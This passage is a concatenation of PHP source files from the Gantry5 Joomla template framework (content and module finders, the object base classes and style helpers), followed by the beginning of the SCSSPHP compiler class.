* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Content;
use Gantry\Joomla\Category\Category;
use Gantry\Joomla\Category\CategoryFinder;
use Gantry\Joomla\Object\Collection;
use Gantry\Joomla\Object\Finder;
class ContentFinder extends Finder
{
protected $table = '#__content';
protected $readonly = true;
protected $state = [];
/**
* Makes all created objects as readonly.
*
* @return $this
*/
public function readonly($readonly = true)
{
$this->readonly = (bool)$readonly;
return $this;
}
public function find($object = true)
{
$ids = parent::find();
if (!$object) {
return $ids;
}
return Content::getInstances($ids, $this->readonly);
}
public function id($ids, $include = true)
{
return $this->addToGroup('a.id', $ids, $include);
}
public function author($ids, $include = true)
{
return $this->addToGroup('a.created_by', $ids,
$include);
}
public function category($ids, $include = true)
{
if ($ids instanceof Collection) {
$ids = $ids->toArray();
} else {
$ids = (array)$ids;
}
array_walk($ids, function (&$item) { $item = $item instanceof
Category ? $item->id : (int) $item; });
return $this->addToGroup('a.catid', $ids, $include);
}
public function featured($featured = true)
{
$featured = intval((bool)$featured);
$this->where('a.featured', '=', $featured);
return $this;
}
public function language($language = true)
{
if (!$language) {
return $this;
}
if ($language === true || is_numeric($language)) {
$language = \JFactory::getLanguage()->getTag();
}
return $this->where('a.language', 'IN',
[$language, '*']);
}
public function published($published = 1)
{
if (!is_array($published)) {
$published = (array) intval($published);
}
return $this->where('a.state', 'IN',
$published);
}
public function authorised($authorised = true)
{
if (!$authorised) {
return $this;
}
$unpublished = CategoryFinder::getUnpublished('content');
if ($unpublished) {
$this->where('a.catid', 'NOT IN',
$unpublished);
}
$user = \JFactory::getUser();
// Define null and now dates
$nullDate = $this->db->quote($this->db->getNullDate());
$nowDate =
$this->db->quote(\JFactory::getDate()->toSql());
// Filter by start and end dates.
if (!$user->authorise('core.edit.state',
'com_content') &&
!$user->authorise('core.edit', 'com_content')) {
$this->query
->where("(a.publish_up = {$nullDate} OR
a.publish_up <= {$nowDate})")
->where("(a.publish_down = {$nullDate} OR
a.publish_down >= {$nowDate})")
->where("a.state >= 1")
;
}
$groups = $user->getAuthorisedViewLevels();
$this->query->join('INNER', '#__categories AS
c ON c.id = a.catid');
return $this->where('a.access', 'IN',
$groups)->where('c.access', 'IN', $groups);
}
protected function addToGroup($key, $ids, $include = true)
{
$op = $include ? 'IN' : 'NOT IN';
if (isset($this->state[$key][$op])) {
$this->state[$key][$op] =
array_merge($this->state[$key][$op], $ids);
} else {
$this->state[$key][$op] = $ids;
}
return $this;
}
protected function prepare()
{
foreach ($this->state as $key => $list) {
foreach ($list as $op => $group) {
$this->where($key, $op, array_unique($group));
}
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla;
/**
* Joomla manifest file modifier.
*/
class Manifest
{
protected $theme;
protected $path;
protected $xml;
/**
* @param string $theme
* @param \SimpleXMLElement $manifest
* @throws \RuntimeException
*/
public function __construct($theme, \SimpleXMLElement $manifest = null)
{
$this->theme = $theme;
$this->path = JPATH_SITE .
"/templates/{$theme}/templateDetails.xml";
if (!is_file($this->path)) {
throw new \RuntimeException(sprintf('Template %s does not
exist.', $theme));
}
$this->xml = $manifest ?: simplexml_load_file($this->path);
}
/**
* @param string $variable
* @return string
*/
public function get($variable)
{
return (string) $this->xml->{$variable};
}
/**
* @return \SimpleXMLElement
*/
public function getXml()
{
return $this->xml;
}
public function getScriptFile()
{
return (string) $this->xml->scriptfile;
}
public function setPositions(array $positions)
{
sort($positions);
// Get the positions.
$target =
current($this->xml->xpath('//positions'));
$xml = "<positions>\n <position>" .
implode("</position>\n <position>",
$positions) . "</position>\n </positions>";
$insert = new \SimpleXMLElement($xml);
// Replace all positions.
$targetDom = dom_import_simplexml($target);
$insertDom =
$targetDom->ownerDocument->importNode(dom_import_simplexml($insert),
true);
$targetDom->parentNode->replaceChild($insertDom, $targetDom);
}
public function save()
{
// Do not save manifest if template has been symbolically linked.
if (is_link(dirname($this->path))) {
return;
}
if (!$this->xml->asXML($this->path)) {
throw new \RuntimeException(sprintf('Saving manifest for
%s template failed', $this->theme));
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Module;
use Gantry\Framework\Gantry;
use Gantry\Joomla\Object\AbstractObject;
use RocketTheme\Toolbox\ArrayTraits\Export;
use RocketTheme\Toolbox\ArrayTraits\ExportInterface;
\JTable::addIncludePath(JPATH_LIBRARIES . '/legacy/table/');
class Module extends AbstractObject implements ExportInterface
{
use Export;
static protected $instances = [];
static protected $table = 'Module';
static protected $order = 'id';
protected $_assignments;
public function assignments($assignments = null)
{
if (is_array($assignments)) {
$this->_assignments = array_map('intval',
array_values($assignments));
} elseif (!isset($this->_assignments)) {
$db = \JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('menuid')->from('#__modules_menu')->where('moduleid
= ' . $this->id);
$db->setQuery($query);
$this->_assignments = array_map('intval', (array)
$db->loadColumn());
}
return $this->_assignments;
}
public function initialize()
{
if (!parent::initialize()) {
return false;
}
$this->params = json_decode($this->params);
return true;
}
public function toArray()
{
$particle = $this->module === 'mod_gantry5_particle';
// Convert params to array.
$params = json_decode(json_encode($this->params), true);
$array = [
'id' => $this->id,
'position' => $this->position,
'ordering' => (int) $this->ordering,
'type' => $particle ? 'particle' :
'joomla',
'title' => $this->title,
'chrome' => [
'display_title' => (bool) $this->showtitle,
'class' =>
!empty($params['moduleclass_sfx']) ?
$params['moduleclass_sfx'] : ''
],
'options' => null,
'assignments' => $this->assignments()
];
$options = array_filter(
[
'type' => !$particle ? $this->module :
null,
'note' => $this->note ?: null,
'published' => (bool) $this->published,
'content' => $this->content ?: null,
'params' => &$params,
'language' => $this->language !==
'*' ? $this->language : null,
],
[$this, 'is_not_null']
);
if ($particle) {
$array['joomla'] = $options;
$options = !empty($params['particle']) ?
json_decode($params['particle'], true) : [];
$options['type'] =
isset($options['particle']) ? $options['particle'] :
null;
$options['attributes'] =
isset($options['options']['particle']) ?
$options['options']['particle'] : [];
unset($options['particle'],
$options['options']);
$array['options'] = $options;
unset($params['particle']);
} else {
$array['options'] = $options;
}
return array_filter($array, [$this, 'is_not_null']);
}
public function create(array $array)
{
$type = $array['type'];
if ($type === 'particle') {
$particle = isset($array['options']) ?
$array['options'] : [];
$array['options'] = isset($array['joomla'])
? $array['joomla'] : [];
$array['options']['type'] =
'mod_gantry5_particle';
$array['options']['params']['particle'] =
$particle;
} elseif ($type !== 'joomla') {
return null;
}
$options = $array['options'];
$properties = [
'title' => $array['title'],
'note' => isset($options['note']) ?
$options['note'] : '',
'content' => isset($options['content'])
? $options['content'] : '',
'position' => $array['position'],
'ordering' => (int) $array['ordering'],
'published' => (int)
!empty($options['published']),
'module' => $options['type'],
'showtitle' => (int)
!empty($array['chrome']['display_title']),
'params' => isset($options['params']) ?
json_decode(json_encode($options['params'])) : [],
'language' =>
isset($options['language']) ? $options['language'] :
'*',
'_assignments' =>
isset($array['assignments']) ? $array['assignments'] :
[],
];
$object = new static();
$object->bind($properties);
return $object;
}
public function render($file)
{
return Gantry::instance()['theme']->render($file,
['particle' => $this]);
}
public function compile($string)
{
return Gantry::instance()['theme']->compile($string,
['particle' => $this]);
}
// Internal functions
/**
* @param $val
* @return bool
* @internal
*/
public function is_not_null($val)
{
return !is_null($val);
}
static protected function collection($items)
{
return new ModuleCollection($items);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Module;
use Gantry\Joomla\Object\Collection;
class ModuleCollection extends Collection
{
public function toArray()
{
return $this->__call('toArray', []);
}
public function export()
{
$assignments = $this->assignments();
$paths =
$this->getAssignmentPath($this->values($assignments));
$items = $this->toArray();
$positions = [];
// Convert assignments to our format.
foreach ($items as $item) {
$position = $item['position'];
$name = $item['options']['type'] .
'-' . $item['id'];
if ($position === '') {
continue;
}
if (empty($item['assignments'])) {
$item['assignments'] = [];
} elseif (in_array(0, $item['assignments'])) {
$item['assignments'] = ['page' =>
true];
} else {
$list = [];
foreach ($item['assignments'] as $assignment) {
$key = abs($assignment);
if (isset($paths[$key])) {
$list[$paths[$key]] = $assignment > 0 ? 1 : -1;
}
}
$item['assignments'] = ['page' =>
[$list]];
}
unset($item['position'], $item['id'],
$item['ordering']);
$positions[$position][$name] = $item;
}
return $positions;
}
public function assignments()
{
$this->loadAssignments();
return $this->__call('assignments', []);
}
public function loadAssignments()
{
$ids = $this->defined('assignments', false);
$ids = array_filter($ids);
if (!$ids) {
return;
}
$idlist = implode(',', array_keys($ids));
$db = \JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('moduleid,
menuid')->from('#__modules_menu')->where("moduleid
IN ($idlist)");
$db->setQuery($query);
$assignments = $db->loadRowList();
$list = [];
foreach ($assignments as $value) {
$list[$value[0]][] = (int) $value[1];
}
foreach ($this as $module) {
$module->assignments(isset($list[$module->id]) ?
$list[$module->id] : []);
}
}
protected function getAssignmentPath(array $ids)
{
if (!$ids) {
return [];
}
$idlist = implode(',', array_map('intval',
$ids));
$db = \JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('id,
path')->from('#__menu')->where("id IN
($idlist)");
$db->setQuery($query);
$paths = $db->loadRowList();
$list = [];
foreach ($paths as $value) {
$list[$value[0]] = $value[1];
}
return $list;
}
protected function values($values)
{
$list = [];
foreach ($values as $array) {
$list = array_merge($list, (array) $array);
}
return array_unique($list);
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Module;
use Gantry\Joomla\Object\Finder;
class ModuleFinder extends Finder
{
protected $table = '#__modules';
protected $readonly = true;
protected $state = [];
protected $published = [0, 1];
protected $limit = 0;
/**
* Makes all created objects as readonly.
*
* @return $this
*/
public function readonly($readonly = true)
{
$this->readonly = (bool)$readonly;
return $this;
}
public function find($object = true)
{
$ids = parent::find();
if (!$object) {
return $ids;
}
return Module::getInstances($ids, $this->readonly);
}
public function id($ids, $include = true)
{
return $this->addToGroup('a.id', $ids, $include);
}
public function language($language = true)
{
if (!$language) {
return $this;
}
if ($language === true || is_numeric($language)) {
$language = \JFactory::getLanguage()->getTag();
}
return $this->where('a.language', 'IN',
[$language, '*']);
}
public function published($published = 1)
{
if (!is_array($published)) {
$published = (array) intval($published);
}
$this->published = $published;
return $this;
}
public function particle()
{
return $this->where('a.module', '=',
'mod_gantry5_particle');
}
public function authorised($authorised = true)
{
if (!$authorised) {
return $this;
}
$groups = \JFactory::getUser()->getAuthorisedViewLevels();
return $this->where('a.access', 'IN',
$groups);
}
protected function addToGroup($key, $ids, $include = true)
{
$op = $include ? 'IN' : 'NOT IN';
if (isset($this->state[$key][$op])) {
$this->state[$key][$op] =
array_merge($this->state[$key][$op], $ids);
} else {
$this->state[$key][$op] = $ids;
}
return $this;
}
protected function prepare()
{
$this->where('client_id', '=',
0)->where('published', 'IN',
$this->published)->order('position')->order('ordering');
foreach ($this->state as $key => $list) {
foreach ($list as $op => $group) {
$this->where($key, $op, array_unique($group));
}
}
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Object;
/**
* Abstract base class for database objects.
*
*
*/
abstract class AbstractObject extends \JObject
{
/**
* If you don't have global instance ids, override this in
extending class.
* @var array
*/
static protected $instances = [];
/**
* Override table class in your own class.
* @var string
*/
static protected $table;
/**
* JTable class prefix, override if needed.
* @var string
*/
static protected $tablePrefix = 'JTable';
/**
* Override table in your own class.
* @var string
*/
static protected $order;
/**
* @var int
*/
public $id;
/**
* Is object stored into database?
* @var boolean
*/
protected $_exists = false;
/**
* Readonly object.
* @var bool
*/
protected $_readonly = false;
/**
* @var bool
*/
protected $_initialized = false;
/**
* Class constructor, overridden in descendant classes.
*
* @param int $identifier Identifier.
*/
public function __construct($identifier = null)
{
parent::__construct();
if ($identifier) {
$this->load($identifier);
}
}
/**
* Override this function if you need to initialize object right after
creating it.
*
* Can be used for example if the database fields need to be converted
to array or JRegistry.
*
* @return bool True if initialization was done, false if object was
already initialized.
*/
public function initialize()
{
$initialized = $this->_initialized;
$this->_initialized = true;
return !$initialized;
}
/**
* Make instance as read only object.
*/
public function readonly()
{
$this->_readonly = true;
}
/**
* Returns the global instance to the object.
*
* Note that using array of fields will always make a query to the
database, but it's very useful feature if you want to search
* one item by using arbitrary set of matching fields. If there are
more than one matching object, first one gets returned.
*
* @param int|array $keys An optional primary key value to
load the object by, or an array of fields to match.
* @param boolean $reload Force object reload from the
database.
*
* @return Object
*/
static public function getInstance($keys = null, $reload = false)
{
// If we are creating or loading a new item or we load instance by
alternative keys,
// we need to create a new object.
if (!$keys || is_array($keys) || !isset(static::$instances[(int)
$keys])) {
$c = get_called_class();
$instance = new $c($keys);
/** @var Object $instance */
if (!$instance->exists()) return $instance;
// Instance exists: make sure that we return the global
instance.
$keys = $instance->id;
}
// Return global instance from the identifier, possibly reloading
it first.
$instance = static::$instances[(int) $keys];
if ($reload) $instance->load($keys);
return $instance;
}
/**
* Removes all or selected instances from the object cache.
*
* @param null|int|array $ids
*/
static public function freeInstances($ids = null)
{
if ($ids === null) {
$ids = array_keys(static::$instances);
}
$ids = (array) $ids;
foreach ($ids as $id) {
unset(static::$instances[$id]);
}
}
/**
* Returns true if the object exists in the database.
*
* @param boolean $exists Internal parameter to change state.
*
* @return boolean True if object exists in database.
*/
public function exists($exists = null)
{
$return = $this->_exists;
if ($exists !== null) $this->_exists = (bool) $exists;
return $return;
}
/**
* Tests if dynamically defined property has been defined.
*
* @param string $property
* @param bool $defined
* @return bool
*/
public function defined($property, $defined = true)
{
$property = '_' . $property;
return $defined ? isset($this->{$property}) :
!isset($this->{$property});
}
/**
* Returns an associative array of object properties.
*
* @param boolean $public If true, returns only the public
properties.
*
* @return array
*/
public function getProperties($public = true)
{
if ($public) {
$getProperties = function($obj) { return get_object_vars($obj);
};
return $getProperties($this);
}
return get_object_vars($this);
}
/**
* Method to bind an associative array to the instance.
*
* This method optionally takes an array of properties to ignore or
allow when binding.
*
* @param array $src An associative array or object to bind to
the JTable instance.
* @param array $fields An optional array list of properties to
ignore / include only while binding.
* @param boolean $include True to include only listed fields,
false to ignore listed fields.
*
* @return boolean True on success.
*/
public function bind(array $src = null, array $fields = null, $include
= false)
{
if (empty($src)) return false;
if (!empty($fields)) {
$src = $include ? array_intersect_key($src,
array_flip($fields)) : array_diff_key($src, array_flip($fields));
}
$this->setProperties ( $src );
return true;
}
/**
* Method to load object from the database.
*
* @param mixed $keys An optional primary key value to load the
object by, or an array of fields to match. If not
* set the instance key value is used.
*
* @return boolean True on success, false if the object doesn't
exist.
*/
public function load($keys = null)
{
if ($keys !== null && !is_array($keys)) {
$keys = array('id'=>(int) $keys);
}
// Create the table object.
$table = static::getTable ();
// Make sure we set the given keys to the object even if it is not
loaded.
$table->reset();
if ($keys !== null) $table->bind($keys);
// Load the object based on the keys.
$this->_exists = $table->load($keys, false);
// Work around Joomla 3.1.1 bug on load() returning true if keys
didn't exist.
if ($table->id == 0) $this->_exists = false;
// Assuming all is well at this point lets bind the data.
$this->setProperties($table->getProperties());
if ($this->id) {
if (!isset(static::$instances[$this->id])) {
static::$instances[$this->id] = $this;
}
}
$this->initialize();
return $this->_exists;
}
/**
* Method to save the object to the database.
*
* Before saving the object, this method checks if object can be safely
saved.
* It will also trigger onContentBeforeSave and onContentAfterSave
events.
*
* @return boolean True on success.
*/
public function save()
{
// Check the object.
if ($this->_readonly || !$this->check()) {
return false;
}
$isNew = !$this->_exists;
// Initialize table object.
$table = static::getTable ();
$table->bind($this->getProperties());
// Check the table object.
if (!$table->check()) {
$this->setError($table->getError());
return false;
}
// Include the content plugins for the on save events.
$dispatcher = \JEventDispatcher::getInstance();
\JPluginHelper::importPlugin('content');
// Trigger the onContentBeforeSave event.
$result = $dispatcher->trigger('onContentBeforeSave',
array("com_gantry5.".get_called_class(), $table, $isNew));
if (in_array(false, $result, true)) {
$this->setError($table->getError());
return false;
}
// Store the data.
if (!$table->store()) {
$this->setError($table->getError());
return false;
}
// If item was created, load the object.
if ($isNew) {
$this->load($table->id);
if (!isset(static::$instances[$this->id])) {
static::$instances[$this->id] = $this;
}
}
// Trigger the onContentAfterSave event.
$dispatcher->trigger('onContentAfterSave',
array("com_gantry5.".get_called_class(), $table, $isNew));
return true;
}
/**
* Method to delete the object from the database.
*
* @return boolean True on success.
*/
public function delete()
{
if ($this->_readonly) {
return false;
}
if (!$this->_exists) {
return true;
}
// Initialize table object.
$table = static::getTable();
$table->bind($this->getProperties());
// Include the content plugins for the on save events.
$dispatcher = \JEventDispatcher::getInstance();
\JPluginHelper::importPlugin('content');
// Trigger the onContentBeforeDelete event.
$result =
$dispatcher->trigger('onContentBeforeDelete',
array("com_gantry5.".get_called_class(), $table));
if (in_array(false, $result, true)) {
$this->setError($table->getError());
return false;
}
if (!$table->delete()) {
$this->setError($table->getError());
return false;
}
$this->_exists = false;
// Trigger the onContentAfterDelete event.
$dispatcher->trigger('onContentAfterDelete',
array("com_gantry5.".get_called_class(), $table));
return true;
}
/**
* Method to perform sanity checks on the instance properties to ensure
* they are safe to store in the database.
*
* Child classes should override this method to make sure the data they
are storing in
* the database is safe and as expected before storage.
*
* @return boolean True if the instance is sane and able to be stored
in the database.
*/
public function check()
{
return true;
}
static public function getAvailableInstances()
{
return static::collection(static::$instances);
}
static public function getInstances(array $ids, $readonly = true)
{
if (!$ids) {
return array();
}
$results = array();
$list = array();
foreach ($ids as $id) {
if (!isset(static::$instances[$id])) {
$list[] = $id;
}
}
if ($list) {
$query = static::getQuery();
$query->where('id IN (' . implode(',',
$list) . ')');
static::loadInstances($query);
}
foreach ($ids as $id) {
if (isset(static::$instances[$id])) {
if ($readonly) {
$results[$id] = clone static::$instances[$id];
} else {
$results[$id] = static::$instances[$id];
}
}
}
return static::collection($results);
}
// Internal functions
static protected function collection($items)
{
return new Collection($items);
}
/**
* Method to get the table object.
*
* @return \JTable The table object.
*/
static protected function getTable()
{
return \JTable::getInstance(static::$table, static::$tablePrefix);
}
/**
* @return \JDatabaseQuery
*/
static protected function getQuery()
{
$table = static::getTable();
$db = \JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('a.*')->from($table->getTableName().'
AS a')->order(static::$order);
return $query;
}
/**
* @param \JDatabaseQuery|string $query
*/
static protected function loadInstances($query = null)
{
if (!$query) {
$query = static::getQuery();
}
$db = \JFactory::getDbo();
$db->setQuery($query);
/** @var Object[] $items */
$items = (array) $db->loadObjectList('id',
get_called_class());
foreach ($items as $item) {
if (!isset(static::$instances[$item->id])) {
$item->exists(true);
$item->initialize();
}
}
static::$instances += $items;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Object;
use \Gantry\Component\Collection\Collection as BaseCollection;
class Collection extends BaseCollection
{
public function __construct(array $items)
{
$this->items = $items;
}
public function get($property)
{
$list = [];
if ($property === 'id') {
return array_keys($this->items);
}
foreach ($this as $object) {
$list[$object->id] = $object->{$property};
}
return $list;
}
public function __call($name, $arguments)
{
$list = [];
foreach ($this as $object) {
$list[$object->id] = method_exists($object, $name) ?
call_user_func_array([$object, $name], $arguments) : null;
}
return $list;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla\Object;
/**
* Class Finder
* @package Gantry\Joomla\Object
*/
abstract class Finder
{
/**
* Table associated with the model.
*
* @var string
*/
protected $table;
/**
* @var string
*/
protected $primaryKey = 'id';
/**
* @var \JDatabaseQuery
*/
protected $query;
/**
* @var \JDatabase
*/
protected $db;
protected $start = 0;
protected $limit = 20;
protected $skip = false;
/**
* Finder constructor.
*
* @param array $options
*/
public function __construct(array $options = [])
{
if (!$this->table) {
throw new \DomainException('Table name missing from '
. get_class($this));
}
$this->db = \JFactory::getDbo();
$this->query = $this->db->getQuery(true);
$this->query->from($this->table . ' AS a');
if ($options) {
$this->parse($options);
}
}
public function parse(array $options)
{
foreach ($options as $func => $params) {
if (method_exists($this, $func)) {
call_user_func_array([$this, $func], (array) $params);
}
}
return $this;
}
/**
* Set limitstart for the query.
*
* @param int $limitstart
*
* @return $this
*/
public function start($limitstart = 0)
{
$this->start = $limitstart;
return $this;
}
/**
* Set limit to the query.
*
* @param int $limit
*
* @return $this
*/
public function limit($limit = null)
{
if (!is_null($limit))
{
$this->limit = $limit;
}
return $this;
}
/**
* Set order by field and direction.
*
* This function can be used more than once to chain order by.
*
* @param string $by
* @param int $direction
* @param string $alias
*
* @return $this
*/
public function order($by, $direction = 1, $alias = 'a')
{
if (is_numeric($direction)) {
$direction = $direction > 0 ? 'ASC' :
'DESC';
} else {
$direction = strtolower((string)$direction) == 'desc'
? 'DESC' : 'ASC';
}
$by = (string)$alias . '.' .
$this->db->quoteName($by);
$this->query->order("{$by} {$direction}");
return $this;
}
/**
* Filter by field.
*
* @param string $field Field name.
* @param string $operation Operation
(>|>=|<|<=|=|IN|NOT IN)
* @param string|array $value Value.
*
* @return $this
*/
public function where($field, $operation, $value)
{
$db = $this->db;
$operation = strtoupper($operation);
switch ($operation)
{
case '>':
case '>=':
case '<':
case '<=':
case '=':
// Quote all non integer values.
$value = (string)(int)$value === (string)$value ?
(int)$value : $db->quote($value);
$this->query->where("{$this->db->quoteName($field)}
{$operation} {$value}");
break;
case 'BETWEEN':
case 'NOT BETWEEN':
list($a, $b) = (array) $value;
// Quote all non integer values.
$a = (string)(int)$a === (string)$a ? (int)$a :
$db->quote($a);
$b = (string)(int)$b === (string)$b ? (int)$b :
$db->quote($b);
$this->query->where("{$this->db->quoteName($field)}
{$operation} {$a} AND {$b}");
break;
case 'IN':
case 'NOT IN':
$value = (array) $value;
if (empty($value)) {
// WHERE field IN (nothing).
$this->query->where('0');
} else {
// Quote all non integer values.
array_walk($value, function (&$value) use ($db) {
$value = (string)(int)$value === (string)$value ? (int)$value :
$db->quote($value); });
$list = implode(',', $value);
$this->query->where("{$this->db->quoteName($field)}
{$operation} ({$list})");
}
break;
}
return $this;
}
/**
* Get items.
*
* Derived classes should generally override this function to return
correct objects.
*
* @return array
*/
public function find()
{
if ($this->skip)
{
return array();
}
$baseQuery = clone $this->query;
$this->prepare();
$query = $this->query;
$this->query = $baseQuery;
$query->select('a.' . $this->primaryKey);
$this->db->setQuery($query, $this->start,
$this->limit);
$results = (array) $this->db->loadColumn();
return $results;
}
/**
* Count items.
*
* @return int
*/
public function count()
{
$baseQuery = clone $this->query;
$this->prepare();
$query = $this->query;
$this->query = $baseQuery;
$query->select('COUNT(*)');
$this->db->setQuery($query);
$count = (int) $this->db->loadResult();
return $count;
}
/**
* Override to include common where rules.
*
* @return void
*/
protected function prepare()
{
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla;
use Gantry\Component\Filesystem\Folder;
use Gantry\Framework\Gantry;
use RocketTheme\Toolbox\ResourceLocator\UniformResourceLocator;
/**
* Joomla style helper.
*/
class StyleHelper
{
public static function getStyle($id)
{
\JTable::addIncludePath(JPATH_ADMINISTRATOR .
'/components/com_templates/tables');
$style = \JTable::getInstance('Style',
'TemplatesTable');
$style->load($id);
return $style;
}
public static function loadStyles($template)
{
$db = \JFactory::getDbo();
$query = $db
->getQuery(true)
->select('s.id, s.template, s.home, s.title AS
long_title, s.params')
->from('#__template_styles AS s')
->where('s.client_id = 0')
->where("s.template = {$db->quote($template)}")
->order('s.id');
$db->setQuery($query);
$list = (array) $db->loadObjectList('id');
foreach ($list as $id => &$style) {
$style->title = preg_replace('/' .
preg_quote(\JText::_($style->template), '/') .
'\s*-\s*/u', '', $style->long_title);
$style->home = $style->home && $style->home
!== '1' ? $style->home : (bool)$style->home;
}
return $list;
}
public static function getDefaultStyle()
{
return static::getStyle(['home' => 1,
'client_id' => 0]);
}
public static function copy($style, $old, $new)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$oldPath = $locator->findResource('gantry-config://' .
$old, true, true);
$newPath = $locator->findResource('gantry-config://' .
$new, true, true);
if (file_exists($oldPath)) {
Folder::copy($oldPath, $newPath);
}
$extension = !empty($style->extension_id) ?
$style->extension_id : $style->template;
$installer = new TemplateInstaller($extension);
$installer->updateStyle($new, ['configuration' =>
$new]);
}
public static function update($id, $preset)
{
$style = static::getStyle($id);
$extension = !empty($style->extension_id) ?
$style->extension_id : $style->template;
$installer = new TemplateInstaller($extension);
$installer->updateStyle($id, ['configuration' =>
$id, 'preset' => $preset]);
}
public static function delete($id)
{
$gantry = Gantry::instance();
/** @var UniformResourceLocator $locator */
$locator = $gantry['locator'];
$path = $locator->findResource('gantry-config://' .
$id, true, true);
if (is_dir($path)) {
Folder::delete($path, true);
}
}
/**
* @return \TemplatesModelStyle
*/
public static function loadModel()
{
static $model;
if (!$model) {
$path = JPATH_ADMINISTRATOR .
'/components/com_templates/';
\JTable::addIncludePath("{$path}/tables");
require_once "{$path}/models/style.php";
// Load language strings.
$lang = \JFactory::getLanguage();
$lang->load('com_templates');
$model = new \TemplatesModelStyle;
}
return $model;
}
}
<?php
/**
* @package Gantry5
* @author RocketTheme http://www.rockettheme.com
* @copyright Copyright (C) 2007 - 2017 RocketTheme, LLC
* @license GNU/GPLv2 and later
*
* http://www.gnu.org/licenses/gpl-2.0.html
*/
namespace Gantry\Joomla;
use Gantry\Framework\ThemeInstaller;
/**
* Class TemplateInstaller
* @package Gantry\Joomla
* @deprecated 5.3.2
*/
class TemplateInstaller extends ThemeInstaller {}
<?php
/**
* SCSSPHP
*
* @copyright 2012-2018 Leaf Corcoran
*
* @license http://opensource.org/licenses/MIT MIT
*
* @link http://leafo.github.io/scssphp
*/
namespace Leafo\ScssPhp;
use Leafo\ScssPhp\Base\Range;
use Leafo\ScssPhp\Block;
use Leafo\ScssPhp\Cache;
use Leafo\ScssPhp\Colors;
use Leafo\ScssPhp\Compiler\Environment;
use Leafo\ScssPhp\Exception\CompilerException;
use Leafo\ScssPhp\Formatter\OutputBlock;
use Leafo\ScssPhp\Node;
use Leafo\ScssPhp\SourceMap\SourceMapGenerator;
use Leafo\ScssPhp\Type;
use Leafo\ScssPhp\Parser;
use Leafo\ScssPhp\Util;
/**
* The scss compiler and parser.
*
* Converting SCSS to CSS is a three stage process. The incoming file is
parsed
* by `Parser` into a syntax tree, then it is compiled into another tree
* representing the CSS structure by `Compiler`. The CSS tree is fed into a
* formatter, like `Formatter` which then outputs CSS as a string.
*
* During the first compile, all values are *reduced*, which means that
their
* types are brought to the lowest form before being dump as strings. This
* handles math equations, variable dereferences, and the like.
*
* The `compile` function of `Compiler` is the entry point.
*
* In summary:
*
* The `Compiler` class creates an instance of the parser, feeds it SCSS
code,
* then transforms the resulting tree to a CSS tree. This class also holds
the
* evaluation context, such as all available mixins and variables at any
given
* time.
*
* The `Parser` class is only concerned with parsing its input.
*
* The `Formatter` takes a CSS tree, and dumps it to a formatted string,
* handling things like indentation.
*/
/**
* SCSS compiler
*
* @author Leaf Corcoran <leafot@gmail.com>
*/
class Compiler
{
const LINE_COMMENTS = 1;
const DEBUG_INFO = 2;
const WITH_RULE = 1;
const WITH_MEDIA = 2;
const WITH_SUPPORTS = 4;
const WITH_ALL = 7;
const SOURCE_MAP_NONE = 0;
const SOURCE_MAP_INLINE = 1;
const SOURCE_MAP_FILE = 2;
/**
* @var array
*/
static protected $operatorNames = [
'+' => 'add',
'-' => 'sub',
'*' => 'mul',
'/' => 'div',
'%' => 'mod',
'==' => 'eq',
'!=' => 'neq',
'<' => 'lt',
'>' => 'gt',
'<=' => 'lte',
'>=' => 'gte',
'<=>' => 'cmp',
];
/**
* @var array
*/
static protected $namespaces = [
'special' => '%',
'mixin' => '@',
'function' => '^',
];
static public $true = [Type::T_KEYWORD, 'true'];
static public $false = [Type::T_KEYWORD, 'false'];
static public $null = [Type::T_NULL];
static public $nullString = [Type::T_STRING, '', []];
static public $defaultValue = [Type::T_KEYWORD, ''];
static public $selfSelector = [Type::T_SELF];
static public $emptyList = [Type::T_LIST, '', []];
static public $emptyMap = [Type::T_MAP, [], []];
static public $emptyString = [Type::T_STRING, '"', []];
static public $with = [Type::T_KEYWORD, 'with'];
static public $without = [Type::T_KEYWORD, 'without'];
protected $importPaths = [''];
protected $importCache = [];
protected $importedFiles = [];
protected $userFunctions = [];
protected $registeredVars = [];
